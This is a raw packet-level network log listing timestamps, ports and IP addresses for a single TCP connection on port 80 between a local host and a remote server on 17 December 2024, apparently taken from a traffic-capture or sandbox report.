Dec 17, 2024 08:03:20.704236031 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.705270052 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.705285072 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.705312014 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.705326080 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.706285954 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.706329107 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.706367016 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.706404924 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.707350016 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.707406998 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.707469940 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.707511902 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.708462000 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.708507061 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.708539009 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.708604097 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.709563017 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.709609985 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.709640026 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.709836006 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.710680962 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.710732937 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.710740089 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.710782051 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.711884975 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.711900949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.711971998 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.711971998 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.712907076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.712922096 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.712958097 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.712980986 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.714085102 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.714109898 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.714128971 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.714144945 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.714972019 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.715107918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.715151072 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.716057062 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.716120005 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.716159105 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.716244936 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.717206955 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.717256069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.717294931 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.717334032 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.718372107 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.718386889 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.718431950 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.719351053 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.719403982 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.719448090 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.719506025 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.720578909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.720594883 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.720659971 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.720659971 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.721512079 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.721570015 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.721633911 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.721678019 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.722595930 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.722652912 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.722717047 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.722762108 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.723741055 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.723803043 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.723841906 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.723885059 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.724886894 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.727159977 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.732028961 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.732189894 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.732234955 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.732511997 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.732578039 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.732616901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.733747005 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.733792067 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.733831882 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.734678984 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.734874964 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.734920025 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.735764980 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.735805988 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.735873938 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.736788034 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.736829042 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.736896038 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.737938881 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.737955093 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.737996101 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.738010883 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.867073059 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.867114067 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.867173910 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.867562056 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.867804050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.867851019 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.868092060 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.868143082 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.868839979 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.869010925 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.869060040 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.869950056 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.869991064 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.870063066 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.870250940 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.871021986 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.871067047 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.871138096 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.871175051 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.872145891 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.872205973 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.872247934 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.872937918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.873367071 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.873382092 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.873410940 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.873426914 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.874315977 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.874397993 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.874448061 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.875384092 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.875591040 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.875655890 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.877795935 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.877998114 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.878102064 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.878866911 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.878884077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.878935099 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.879396915 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.879621029 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.879657984 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.880095005 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.880163908 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.880199909 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.880917072 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.880953074 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.880969048 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.881964922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.882003069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.882426977 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.882635117 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.883142948 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.883271933 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.883318901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.884130001 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.884227037 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.884267092 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.885229111 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.885267973 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.885493994 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.886349916 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.886419058 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.886445999 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.886733055 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.887466908 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.887586117 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.887640953 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.888590097 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.888605118 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.888659954 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.889686108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.889753103 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.889765978 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.889787912 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.890919924 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.891122103 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.891175985 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.891866922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.891881943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.891930103 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.892874002 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.892918110 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.892967939 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.893958092 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.893982887 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.894006014 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.894023895 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.895061016 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.895396948 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.895442009 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.896172047 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.896250010 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.896289110 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.897320986 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.897335052 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.897376060 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.898278952 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.898344040 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.898384094 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.898631096 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.899430990 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.899481058 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.899518013 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.899558067 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.900645971 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.900702000 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.900767088 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.900804996 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.901565075 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.901609898 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.901707888 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.901761055 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.903039932 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.903199911 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.903242111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.904067993 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.904227018 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.904268026 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.905014992 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.905030966 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.905069113 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.905998945 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.906081915 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.906120062 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.907063007 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.907308102 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.907356024 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.908132076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.908148050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.908170938 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.908191919 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.909329891 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.909344912 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.909364939 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.909382105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.910310030 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.910381079 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.910461903 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.911160946 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.911571980 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.911808014 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.911858082 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.912524939 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.912606955 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.912658930 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.913600922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.913693905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.913758039 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.914685011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.914887905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.914937019 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.915811062 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.916270971 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.916320086 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.916879892 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.919047117 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.924125910 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.924284935 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.924344063 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.924691916 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.924721003 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.924767971 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.925739050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.925787926 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.925848961 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.926822901 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.926888943 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.926899910 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.927016973 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.927871943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.927934885 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.927994013 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.928091049 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.929121971 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.929166079 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.929207087 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.929248095 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.930311918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.930326939 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.930352926 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.930373907 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.059346914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.059365034 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.059402943 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.059442043 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.059863091 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.060108900 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.060153008 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.060767889 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.060784101 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.060817003 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.061795950 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.061836958 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.061877012 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.062777042 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.062843084 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.062891960 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.062952995 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.063266993 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.063946009 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.063983917 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.064100027 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.064141989 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.065021992 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.065187931 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.065207958 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.065246105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.066226006 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.066241026 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.066268921 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.066282988 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.067235947 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.067356110 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.067400932 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.068327904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.068454027 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.068500042 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.069506884 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.069524050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.069547892 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.069575071 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.070570946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.070585966 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.070626020 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.071635008 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.071679115 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.071712971 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.072741985 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.072784901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.072854996 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.073740005 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.073781013 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.073843956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.073880911 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.074858904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.075006008 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.075050116 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.076085091 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.076100111 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.076141119 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.077229023 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.077269077 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.077286005 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.078234911 CET	49844	80	192.168.2.5	31.41.244.11
